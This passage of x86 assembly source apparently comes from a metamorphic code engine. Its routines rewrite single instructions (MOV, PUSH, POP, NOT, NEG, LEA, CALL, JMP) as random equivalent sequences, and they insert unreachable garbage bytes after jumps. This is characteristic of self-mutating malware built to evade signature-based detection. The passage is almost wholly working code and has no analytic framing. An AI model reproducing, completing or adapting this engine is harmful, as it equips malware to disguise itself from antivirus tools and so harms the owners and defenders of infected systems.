                jz    @@Multiple_MOV
   @@Multiple_OP:
                call    RandomBoolean
                or      eax, eax
                jz    @@Single
                call    Xp_SaveOperation         ; Generate a PUSH [Mem]
                call    Xp_GenPUSHMem
                call    Xp_GetTempVar            ; Allocate a temp. variable
                call    Xp_GenPOPMem             ; Generate a POP [TempVar]
                call    Xp_GenOPRegMem           ; Generate a OP Reg,[TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Multiple_MOV:
                call    RandomBoolean       ; Randomly decide if we make the
                or      eax, eax            ; normal operation
                jz    @@Multiple_OP
                call    Xp_GenPUSHMem       ; Generate PUSH [Mem]
                call    Xp_GenPOPReg        ; Generate POP Reg
                jmp     Xp_DecreaseRecurseLevel

   @@Single:    mov     eax, [ebp+Xp_Operation]
                add     eax, [ebp+Xp_8Bits]
                add     eax, 2              ; Set OP Reg,[Mem]
                mov     [edi], eax
                call    Xp_CopyMemoryReference
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenOPRegMem  endp


;; Function to generate an OP [Mem],Reg
Xp_GenOPMemReg  proc
   @@Start:     call    Xp_IncreaseRecurseLevel
                cmp     eax, 3       ; Single if recurs. level is too high to
                jae   @@Single       ; recurse
                call    Random
                and     eax, 7
                or      eax, eax
                jnz   @@Single       ; Select single with a prob. of 7/8
                call    Random
   @@Multiple:  mov     eax, [ebp+Xp_8Bits]
                or      eax, eax
                jnz   @@Single           ; Select single if the size of the
                                         ; operands is 8 bits
                mov     eax, [ebp+Xp_Operation]
                cmp     eax, 40h               ; MOV?
                jz    @@Multiple_MOV
   @@Multiple_OP:
                call    Xp_SaveOperation        ; Make the sequence:
                call    Xp_GenPUSHMem           ; PUSH [Mem]
                call    Xp_GetTempVar           ; POP [TempVar]
                call    Xp_GenPOPMem            ; OP [TempVar],Reg
                mov     eax, [ebp+Xp_Operation] ; PUSH [TempVar]
                cmp     eax, 38h                ; POP [Mem]
                jz    @@Multiple_OP_CMP         ; or if operation is CMP/TEST:
                cmp     eax, 48h                ; PUSH [Mem]
                jz    @@Multiple_OP_TEST        ; POP [TempVar]
   @@Multiple_OP_Common:                        ; CMP/TEST [TempVar],Reg
                call    Xp_GenOPMemReg          ; That CMP/TEST can be also
                call    Xp_GenPUSHMem           ; SUB/AND, since we can modify
                call    Xp_RestoreOperation     ; [TempVar] as we want.
                call    Xp_GenPOPMem
                jmp     Xp_DecreaseRecurseLevel
   @@Multiple_OP_CMP:
                mov     ecx, 3Bh
                mov     edx, 2Bh
                jmp   @@Multiple_OP_CMPTEST_Common
   @@Multiple_OP_TEST:
                mov     ecx, 23h
                mov     edx, 4Bh
   @@Multiple_OP_CMPTEST_Common:
                call    RandomBoolean
                or      eax, eax
                jz    @@Multiple_OP_CMPTEST_Next
                mov     edx, ecx
   @@Multiple_OP_CMPTEST_Next:
                add     edx, [ebp+Xp_8Bits]
                mov     [edi], edx
                call    Xp_CopyMemoryReference
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Multiple_MOV:
   @@Multiple_MOV_Other:
                call    Random         ; Should we make this specific-for-MOV
                and     eax, 3         ; operation or do we make the normal
                or      eax, eax       ; one?
                jz    @@Multiple_OP    ; Make the normal, then
                cmp     eax, 1
                jz    @@Multiple_MOV_1  ; Select one of the two possibilities
                cmp     eax, 2
                jnz   @@Multiple_MOV_Other
   @@Multiple_MOV_2:
                call    Xp_GenPUSHReg    ; Make PUSH Reg / POP [Mem]
                call    Xp_GenPOPMem
                jmp     Xp_DecreaseRecurseLevel
   @@Multiple_MOV_1:
                call    Xp_SaveOperation       ; Make MOV [TempVar],Reg /
                call    Xp_GetTempVar          ; / PUSH [TempVar] / POP [Mem]
                jmp   @@Multiple_OP_Common

   @@Single:    mov     eax, [ebp+Xp_Operation]
                add     eax, [ebp+Xp_8Bits]     ; Make the pseudoopcode:
                add     eax, 3                  ; OP + 3 = OP Mem,Reg
                mov     [edi], eax
                call    Xp_CopyMemoryReference  ; Copy the operands
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenOPMemReg  endp


;; Generate an OP [Mem],Imm. Also check special cases.
;; When we work with a direct value (Imm), we have lots of new possiblities,
;; like the composed operations (ADD + SUB, MOV + OP, etc.).
Xp_GenOPMemImm  proc
   @@Start:     call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    RandomBoolean
                or      eax, eax           ; Single or multiple?
                jz    @@Single             ; Decide it randomly
                call    Random
                and     eax, 7
                or      eax, eax   ; Probability of 1/8 of making a triplet
                jnz   @@Double
   @@Triple:    mov     eax, [ebp+Xp_8Bits]
                or      eax, eax        ; Is size of operands 8 bits?
                jnz   @@Double          ; Then, make a pair rather than this
                call    Xp_GenPUSHMem    ; Make PUSH [Mem]
                call    Xp_SaveOperation
                call    Xp_GetTempVar    ; Make POP [TempVar]
                call    Xp_GenPOPMem
                mov     eax, [ebp+Xp_Operation]
                cmp     eax, 38h                ; CMP?
                jz    @@Triple_CMP
                cmp     eax, 48h                ; TEST?
                jz    @@Triple_TEST
                call    Xp_GenOPMemImm       ; Generate OP [TempVar],Imm
                call    Xp_GenPUSHMem        ; Generate PUSH [TempVar]
                call    Xp_RestoreOperation
                call    Xp_GenPOPMem         ; Generate POP [Mem]
                jmp     Xp_DecreaseRecurseLevel
   @@Triple_CMP:
                mov     ecx, 2Ch             ; ECX = SUB Mem,Imm
                mov     edx, 3Ch             ; EDX = CMP Mem,Imm
                jmp   @@Triple_CMPTEST_Common
   @@Triple_TEST:
                mov     ecx, 24h             ; ECX = AND Mem,Imm
                mov     edx, 4Ch             ; EDX = TEST Mem,Imm
   @@Triple_CMPTEST_Common:
                call    RandomBoolean
                or      eax, eax             ; Select randomly ECX or EDX
                jz    @@Triple_CMPTEST_Next
                mov     edx, ecx
   @@Triple_CMPTEST_Next:
                add     edx, [ebp+Xp_8Bits]  ; Set the size of the operands
                mov     [edi], edx
                call    Xp_CopyMemoryReference  ; Make the instruction
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Double:    mov     eax, [ebp+Xp_Operation]
                cmp     eax, 40h                 ; MOV?
                jz    @@Double_MOV
                or      eax, eax                 ; ADD?
                jz    @@Double_ADD
                cmp     eax, 38h                 ; CMP?
                jz    @@Single
                cmp     eax, 48h                 ; TEST?
                jz    @@Single
   @@Double_OP: mov     eax, [ebp+Xp_FlagRegOrMem]
                push    eax
                mov     eax, 1                     ; Mark that we are making
                mov     [ebp+Xp_FlagRegOrMem], eax ; a memory operation
                call    Xp_MakeComposedOPImm       ; Generate a composed op.
                pop     ebx
                mov     [ebp+Xp_FlagRegOrMem], ebx ; Restore the flag
                or      eax, eax                   ; If we couldn't make it,
                jnz   @@Single                     ; jump and make a single.
                jmp     Xp_DecreaseRecurseLevel
   @@Double_MOV:
                call    RandomBoolean           ; Decide randomly if we do
                or      eax, eax                ; this or a generic operation
                jz    @@Double_OP
                mov     eax, [ebp+Xp_8Bits]     ; If size is 8 bits, we can't
                or      eax, eax                ; make this option
                jnz   @@Double_OP
                call    Xp_GenPUSHImm           ; Generate a PUSH Imm
                call    Xp_GenPOPMem            ; Generate a POP [Mem]
                jmp     Xp_DecreaseRecurseLevel
   @@Double_ADD:
                call    RandomBoolean
                or      eax, eax
                jz    @@Double_OP
                mov     eax, [ebp+Xp_Immediate]
                cmp     eax, 1                  ; ADD Mem,1?
                jz    @@Double_ADD_NOTNEG       ; Then try NOT+NEG
                cmp     eax, -1                 ; ADD Mem,-1?
                jnz   @@Double_OP               ; Then try NEG+NOT
   @@Double_ADD_NEGNOT:
                call    Xp_GenNEGMem            ; Generate NEG Mem
                call    Xp_GenNOTMem            ; Generate NOT Mem
                jmp     Xp_DecreaseRecurseLevel ; Effectively decreases Mem
   @@Double_ADD_NOTNEG:
                call    Xp_GenNOTMem            ; Generate NOT Mem
                call    Xp_GenNEGMem            ; Generate NEG Mem
                jmp     Xp_DecreaseRecurseLevel ; Effectively increases Mem


   @@Single:    mov     eax, [ebp+Xp_Operation] ; Get the operation
                cmp     eax, 30h                ; XOR?
                jz    @@Single_XOR
                or      eax, eax                ; ADD?
                jz    @@Single_ADD
   @@Single_OP: mov     eax, [ebp+Xp_Operation] ; Set OP Mem,Imm
                add     eax, [ebp+Xp_8Bits]
                add     eax, 4
                mov     [edi], eax
                call    Xp_CopyMemoryReference  ; Copy the operands
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
   @@Single_XOR:                                ; Check if we are making
                mov     eax, [ebp+Xp_Immediate] ; XOR Mem,-1
                cmp     eax, -1
                jnz   @@Single_OP               ; If we are, we can code it
                call    RandomBoolean           ; also as NOT Mem
                or      eax, eax
                jz    @@Single_OP
                call    Xp_GenNOTMem
                jmp     Xp_DecreaseRecurseLevel
   @@Single_ADD:
                call    RandomBoolean           ; If we do ADD Mem,1/-1, we
                or      eax, eax                ; can use INC Mem or DEC Mem
                jz    @@Single_OP
                mov     eax, [ebp+Xp_Immediate]
                cmp     eax, 1
                jz    @@Single_INC
                cmp     eax, -1
                jnz   @@Single_OP
     @@Single_DEC:
                mov     ebx, 8                ; Set DEC if Imm == -1
     @@Single_INCDEC_Common:
                mov     eax, [ebp+Xp_8Bits]   ; Set the size of the operation
                add     eax, 4Fh              ; Set the opcode (local, this
                mov     [edi], eax            ; opcode only exists between the
                push    ebx                   ; expander and the assembler).
                call    Xp_CopyMemoryReference ; Copy the rest of the operands
                pop     ebx
                mov     [edi+7], ebx          ; Set the operation: INC or DEC
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
     @@Single_INC:
                xor     ebx, ebx              ; Set INC if Imm == 1
                jmp   @@Single_INCDEC_Common
Xp_GenOPMemImm  endp

;; Generate a PUSH Reg
Xp_GenPUSHReg   proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single           ; 1/4 to generate a complex PUSH
   @@Multiple:  call    Xp_SaveOperation
                call    Xp_GetTempVar    ; Allocate a temporary variable
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax ; Make a MOV [TempVar],Reg
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPMemReg
                call    Xp_GenPUSHMem           ; Make a PUSH [TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    mov     eax, 50h                ; Construct the PUSH Reg
Xp_GenPUSHReg_Common:
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenPUSHReg   endp

;; Generate a PUSH [Mem]
Xp_GenPUSHMem   proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 7        ; Chance of 1/8 of generating a complex
                or      eax, eax      ; PUSH
                jnz   @@Single
                call    Xp_SaveOperation
                call    Xp_GenPUSHMem    ; Make a PUSH [Mem]
                call    Xp_GetTempVar    ; Make a POP [TempVar]
                call    Xp_GenPOPMem
                call    Xp_GenPUSHMem    ; Make a PUSH [TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    mov     eax, 51h         ; Construct the PUSH Mem directly
Xp_GenPUSHMem_Common:
                mov     [edi], eax
                call    Xp_CopyMemoryReference
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenPUSHMem   endp

;; Generate a POP Reg
Xp_GenPOPReg    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single     ; Chance of 1/4 to make it complex
    @@Multiple: call    Xp_SaveOperation
                call    Xp_GetTempVar     ; Get a temporary variable
                call    Xp_GenPOPMem      ; Make a POP [TempVar]
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPRegMem    ; Make a MOV Reg,[TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

    @@Single:   mov     eax, 58h            ; Make the POP Reg directly
                jmp     Xp_GenPUSHReg_Common
Xp_GenPOPReg    endp

;; POP Mem is direct this time. If not, too many PUSH/POP Mem are generated
Xp_GenPOPMem    proc
                call    Xp_IncreaseRecurseLevel
    @@Single:   mov     eax, 59h
                jmp     Xp_GenPUSHMem_Common
Xp_GenPOPMem    endp

;; Generate a PUSH Imm
Xp_GenPUSHImm   proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    RandomBoolean
                or      eax, eax      ; Chance of 1/2 of making it complex
                jz    @@Single
   @@Multiple:  call    Xp_SaveOperation
                call    Xp_GetTempVar           ; Get a temporary variable
                mov     eax, 40h                ; Make a MOV [TempVar],Imm
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPMemImm
                call    Xp_GenPUSHMem           ; Make a PUSH [TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    mov     eax, 68h
                mov     [edi], eax            ; Make the instruction directly
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenPUSHImm   endp


;; LEA:
;; As an instruction, LEA is only used for compressing instructions that will
;; be expanded here. If we find a LEA in the final x86 codification, it's a
;; LEA that is converted by the shrinker in MOV, ADD or any like that.
;; Using LEA in this way allow us to have a mini-embedded instruction swapper
;; 100% compatible in all cases.

Xp_GenLEA       proc
                call    Xp_SaveOperation         ; Save the operation
                mov     eax, [ebp+Xp_Mem_Index1]
                cmp     eax, [ebp+Xp_Register]   ; Index1 == destiny register?
                jz    @@Addition1                ; Then, addition
                mov     eax, [ebp+Xp_Mem_Index2]
                cmp     eax, [ebp+Xp_Register]   ; Index2 == destiny register?
                jz    @@Addition2                ; Then, addition
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax  ; Set MOV as first instruct.
       @@MOV_Other:
                call    Random
                and     eax, 3
                or      eax, eax
                jz    @@MOV_Other
                cmp     eax, 1
                jz    @@MOV_FirstIndex1   ; Make MOV/ADD with first index
                cmp     eax, 2
                jz    @@MOV_FirstIndex2   ; Make MOV/ADD with second index
       @@MOV_FirstAddition:               ; Make MOV/ADD with DWORD addition
                mov     eax, [ebp+Xp_Mem_Addition]
                or      eax, eax
                jz    @@MOV_Finished2     ; It's 0? Then look if we finished
                mov     [ebp+Xp_Immediate], eax
                call    Xp_GenOPRegImm     ; Generate a MOV/ADD Reg,Imm
                xor     eax, eax           ; Set ADD operation from now
                mov     [ebp+Xp_Mem_Addition], eax
                jmp   @@MOV_Finished
       @@MOV_FirstIndex1:
                mov     eax, [ebp+Xp_Mem_Index1] ; Get the first index
                cmp     eax, 8                   ; If 8 (no_reg), jump to look
                jz    @@MOV_Finished2            ; if we finished
                mov     [ebp+Xp_SrcRegister], eax ; Set the register and gen.
                call    Xp_GenOPRegReg            ; a MOV/ADD Reg,Reg1
                mov     eax, 8
                mov     [ebp+Xp_Mem_Index1], eax  ; Anulate the register
                jmp   @@MOV_Finished
       @@MOV_FirstIndex2:
                mov     eax, [ebp+Xp_Mem_Index2]  ; Get the 2nd register and
                cmp     eax, 8                    ; look if we have finished
                jz    @@MOV_Finished2
                cmp     eax, 8                 ; If it hasn't a multiplicator
                jb    @@MOV_FirstIndex2_Set    ; then make the MOV/ADD
                sub     eax, 40h               ; Subtract the multiplicator
       @@MOV_FirstIndex2_Set:
                mov     [ebp+Xp_SrcRegister], eax ; Set the source register
                call    Xp_GenOPRegReg           ; Generate a MOV/ADD Reg,Reg2
                mov     eax, [ebp+Xp_Mem_Index2]
                cmp     eax, 7                   ; Do it have a multiplicator?
                jbe   @@MOV_FirstIndex2_Set8     ; If not, eliminate the reg.
                sub     eax, 40h                 ; Eliminate the multiplicator
                mov     [ebp+Xp_Mem_Index2], eax ; Set the clear register
                jmp   @@MOV_Finished
       @@MOV_FirstIndex2_Set8:
                mov     eax, 8                   ; Set no_reg
                mov     [ebp+Xp_Mem_Index2], eax
       @@MOV_Finished:
                xor     eax, eax                 ; Set ADD as operation from
                mov     [ebp+Xp_Operation], eax  ; now
       @@MOV_Finished2:
                mov     eax, [ebp+Xp_Mem_Index1] ; Get the index1
                cmp     eax, 8                   ; If it's not no_reg, then
                jnz   @@MOV_Other                ; it's not finished
                mov     eax, [ebp+Xp_Mem_Index2] ; Get the index2
                cmp     eax, 8                   ; no_reg?
                jnz   @@MOV_Other                ; If not, continue
                mov     eax, [ebp+Xp_Mem_Addition]
                or      eax, eax                 ; Check if addition is 0
                jnz   @@MOV_Other                ; If not, continue
                call    Xp_RestoreOperation ; We finish when both indexes are
                ret                         ; 8 and the addition is 0
   @@Addition1: mov     eax, 8
                mov     [ebp+Xp_Mem_Index1], eax ; Set 8 as Index1 and put ADD
                jmp   @@MOV_Finished             ; to make it directly
   @@Addition2: mov     eax, 8
                mov     [ebp+Xp_Mem_Index2], eax ; Set 8 as Index2 and start
                jmp   @@MOV_Finished            ; with ADD instead as with MOV
Xp_GenLEA       endp

;; Generate a NOT Reg
Xp_GenNOTReg    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax              ; Generate a complex NOT with
                jnz   @@Single                ; a prob. of 1/4
                call    Xp_GenNEGReg          ; Generate a NEG
                call    Xp_SaveOperation
                mov     eax, -1               ; And now generate an ADD Reg,-1
Xp_GenNOTReg_Common:
                mov     [ebp+Xp_Immediate], eax
                xor     eax, eax
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPRegImm
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

    @@Single:   mov     eax, [ebp+Xp_8Bits]   ; Generate directly the NOT
                or      eax, eax
                jz    @@NOT32
                mov     eax, 0E2h
                jmp   @@NOT_
      @@NOT32:  mov     eax, 0E0h
      @@NOT_:
Xp_GenNOTReg_Common_Direct:
                mov     [edi], eax         ; Construct the NOT/NEG instruction
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenNOTReg    endp

;; Generate a NEG Reg instruction or group of instructions that do the same
Xp_GenNEGReg    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single

                call    Xp_GenNOTReg        ; Make a NOT Reg + ADD Reg,1
                call    Xp_SaveOperation
                mov     eax, 1
                jmp     Xp_GenNOTReg_Common

   @@Single:    mov     eax, [ebp+Xp_8Bits]
                or      eax, eax
                jz    @@NEG32
                mov     eax, 0E6h
                jmp     Xp_GenNOTReg_Common_Direct
      @@NEG32:  mov     eax, 0E4h
                jmp     Xp_GenNOTReg_Common_Direct
Xp_GenNEGReg    endp


;; Generate a NOT Mem
Xp_GenNOTMem    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single
                                         ; Complex:
                call    Xp_GenNEGMem     ; Generate a NEG Mem + ADD Mem,-1
                call    Xp_SaveOperation
                mov     eax, -1
Xp_GenNOTMem_Common:
                mov     [ebp+Xp_Immediate], eax
                xor     eax, eax
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPMemImm
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    mov     eax, [ebp+Xp_8Bits]
                or      eax, eax
                jz    @@NOT32
                mov     eax, 0E3h
                jmp   @@NOT_
      @@NOT32:  mov     eax, 0E1h
      @@NOT_:
Xp_GenNOTMem_Common_Direct:
                mov     [edi], eax      ; Construct the NOT/NEG Mem instrc.
                call    Xp_CopyMemoryReference
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenNOTMem    endp

;; Generate a NEG Mem
Xp_GenNEGMem    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single
                                         ; Complex:
                call    Xp_GenNOTMem     ; Make NOT Mem + ADD Mem,1
                call    Xp_SaveOperation
                mov     eax, 1
                jmp     Xp_GenNOTMem_Common

   @@Single:    mov     eax, [ebp+Xp_8Bits]
                or      eax, eax
                jz    @@NEG32
                mov     eax, 0E7h
                jmp     Xp_GenNOTMem_Common_Direct
      @@NEG32:  mov     eax, 0E5h
                jmp     Xp_GenNOTMem_Common_Direct
Xp_GenNEGMem    endp

;; Generate a RET operation
Xp_GenRET       proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single        ; Put it directly with a prob. of 1/4
                call    Xp_SaveOperation
                call    Xp_GetTempVar        ; Allocate a temporary variable
                call    Xp_GenPOPMem         ; Make a POP [TempVar]
                call    Xp_GenJMPMem         ; Make a JMP [TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
     @@Single:  mov     eax, 0FEh            ; Code the RET directly and
                mov     [edi], eax           ; generate some not-reachable
                add     edi, 10h             ; garbage.
                jmp     Xp_DecreaseRecurseLevel
Xp_GenRET       endp

;; Generate a CALL Reg
Xp_GenCALLReg   proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3             ; Make it complex with a prob. of
                or      eax, eax           ; 1/4
                jnz   @@Single
                call    Xp_SaveOperation
                call    Xp_GetTempVar      ; Let's make MOV [TempVar],Reg +
                mov     eax, 40h           ; + CALL [TempVar]
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPMemReg
                call    Xp_GenCALLMem
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Single:    mov     eax, 0ECh          ; Code the CALL directly
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenCALLReg   endp

;; Generate a CALL Mem (used for API calls, so EAX, ECX and EDX regs. are free
;; for use).
Xp_GenCALLMem   proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    RandomBoolean
                or      eax, eax
                jnz   @@Single      ; Make it complex with a prob. of 1/2
   @@Multiple:  call    RandomBoolean
                or      eax, eax
                jz    @@Multiple_Reg   ; Here we can use EAX,ECX or EDX
                call    Xp_SaveOperation
                call    Xp_GenPUSHMem   ; Make PUSH [Mem]
                call    Xp_GetTempVar
                call    Xp_GenPOPMem    ; Make POP [TempVar]
                call    Xp_GenCALLMem   ; Make CALL [TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Multiple_Reg:
                call    Xp_SaveOperation
   @@Multiple_Reg_Again:
                call    Random
                and     eax, 3
                cmp     eax, 3
                jz    @@Multiple_Reg_Again   ; Get EAX, ECX or EDX
                mov     [ebp+Xp_Register], eax
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPRegMem       ; Make MOV EAX/ECX/EDX,[Mem]
                call    Xp_GenCALLReg        ; Make CALL EAX/ECX/EDX
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    mov     eax, 0EAh        ; Code the CALL [Mem] directly
Xp_GenCALLMem_Common:
                mov     [edi], eax
                call    Xp_CopyMemoryReference
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenCALLMem   endp

;; Generate a JMP Reg
Xp_GenJMPReg    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    RandomBoolean
                or      eax, eax
                jz    @@Single
                call    Random
                and     eax, 3        ; Make it complex with a prob. of 1/4
                or      eax, eax
                jz    @@Double_1
   @@Double_0:  call    Xp_SaveOperation
                call    Xp_GetTempVar         ; Allocate a temporary variable
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPMemReg        ; Make a MOV [TempVar],Reg
                call    Xp_GenJMPMem          ; Make a JMP [TempVar]
                call    Xp_RestoreOperation   ; Generate some not-reachable
                jmp     Xp_EndJmp             ; garbage
   @@Double_1:  call    Xp_GenPUSHReg         ; Make PUSH Reg + RET
                call    Xp_GenRET
                jmp     Xp_EndJmp

   @@Single:    mov     eax, 0EDh             ; Make the JMP Reg directly
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                add     edi, 10h
                jmp     Xp_EndJmp             ; Make some garbage
Xp_GenJMPReg    endp

;; Generate a JMP [Mem]
Xp_GenJMPMem    proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Single
                call    Xp_SaveOperation
                call    Xp_GenPUSHMem      ; Make PUSH Mem
                call    Xp_GetTempVar
                call    Xp_GenPOPMem       ; Make POP Mem
                call    Xp_GenJMPMem       ; Make JMP Mem
                call    Xp_RestoreOperation
                jmp     Xp_EndJmp          ; Generate some garbage

   @@Single:    mov     eax, 0EBh        ; Code the JMP Mem directly
                mov     [edi], eax
                call    Xp_CopyMemoryReference
                add     edi, 10h
                jmp     Xp_EndJmp
Xp_GenJMPMem    endp

;; This function generates a JMP @xxx or a group of instructions that make
;; the same, like CMP Reg,Reg/JZ @xxx. 
Xp_GenJMP       proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single  ; Increase the recurse level and make the JMP
                                ; directly if we are too deep in recursivity
                mov     eax, [ebp+AddressOfLastInstruction]
                sub     eax, 10h
                cmp     eax, esi   ; Check if we are making the last instrc.
                jz    @@Single     ; If so, code it directly
                call    Random
                and     eax, 7     ; Make a complex JMP with a prob. of 1/8
                or      eax, eax
                jnz   @@Single
   @@Double_Other:
                call    Random     ; Now select the type of complext JMP we
                and     eax, 3     ; are going to make.
                or      eax, eax
                jz    @@Double_Other
                cmp     eax, 1         ; Make Jcc(even) + Jcc(odd) or vicev.
                jz    @@Double_JccJcc
                cmp     eax, 2         ; Make CMP + Jcc
                jz    @@Double_CMPJcc
                                       ; Let's do Jcc + Jcc (2nd version)
                mov     edx, 73h
                mov     ecx, 76h
   @@Double_JccJcc2:
                call    Random
                or      eax, eax            ; Make a random selection of two
                jz    @@Double_JccJcc2_Next ; types of conditional jumps from
                mov     edx, 75h            ; the set JAE, JBE, JNZ: any
   @@Double_JccJcc2_Next:                   ; combination of two of these
                call    RandomBoolean       ; types one after another will
                or      eax, eax            ; perform an unconditional JMP.
                jz    @@Double_JccJcc2_Next02
                mov     eax, edx            ; Exchange them randomly
                mov     edx, ecx
                mov     ecx, eax
   @@Double_JccJcc2_Next02:
                call    Xp_SaveOperation
                push    ecx                 ; Set the first Jcc (EDX)
                mov     [ebp+Xp_Operation], edx

                call    Xp_GenJcc_SingleJcc ; Make a direct Jcc
                pop     ecx                 ; Set the second Jcc (ECX)
                mov     [ebp+Xp_Operation], ecx
                call    Xp_GenJcc_SingleJcc ; Make the direct Jcc
                call    Xp_RestoreOperation
                jmp   @@InsertStopMark      ; Since there aren't branch-end
                                  ; instructions (although when executed they
                                  ; will never pass beyond), we must insert
                                  ; a branch-end instruction to force the
                                  ; disassembler to stop the branch of code.
   @@Double_CMPJcc:
                call    Xp_SaveOperation  ; Let's make a CMP Reg,Reg/Jcc
                mov     eax, 38h
                mov     [ebp+Xp_Operation], eax
   @@Double_CMPJcc_x:
                call    Random            ; Get a register to compare
                and     eax, 7
                cmp     eax, 4            ; Don't play with ESP!
                jz    @@Double_CMPJcc_x
                mov     [ebp+Xp_Register], eax     ; Set source and destiny
                mov     [ebp+Xp_SrcRegister], eax  ; register as the same
                xor     eax, eax                   ; Set a size of 32 bits
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPRegReg    ; Construct the comparision instrc.
                call    Xp_GetSpecialJcc  ; Get a Jcc that is prepared for
   @@Double_CMPJcc_Common:                ; this type of operation
                xor     eax, 1            ; Invert the last bit, since the
                mov     [ebp+Xp_Operation], eax  ; returned Jcc is prepared
                                                 ; to make a NOP operation.
                call    Xp_GenJcc_SingleJcc   ; Make the Jcc as a single ins.
                call    Xp_RestoreOperation
                jmp   @@InsertStopMark    ; Set a stop mark.
   @@Double_JccJcc:
                call    Xp_SaveOperation ; Other type of a pair of Jccs that
                call    Random           ; always jump: any conditional jump
                and     eax, 0Fh         ; with even opcode has its opposite
                add     eax, 70h         ; in the same opcode but setting last
                mov     [ebp+Xp_Operation], eax ; bit to 1. So, we select a
                push    eax                 ; random conditional jump, we
                call    Xp_GenJcc_SingleJcc ; insert it, and after that we
                pop     eax                 ; insert the same Jcc but with the
                jmp   @@Double_CMPJcc_Common ; bit 0 inversed. Example:
                                             ; JZ @xxx + JNZ @xxx
                                             ; JB @xxx + JAE @xxx
   @@Single:    mov     eax, 0E9h        ; The jump directly.
                mov     [edi], eax
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+1], eax
                add     edi, 10h
Xp_EndJmp:
                call    Random         ; Now make garbage bytes with a prob.
                and     eax, 3         ; of 1/4
                or      eax, eax
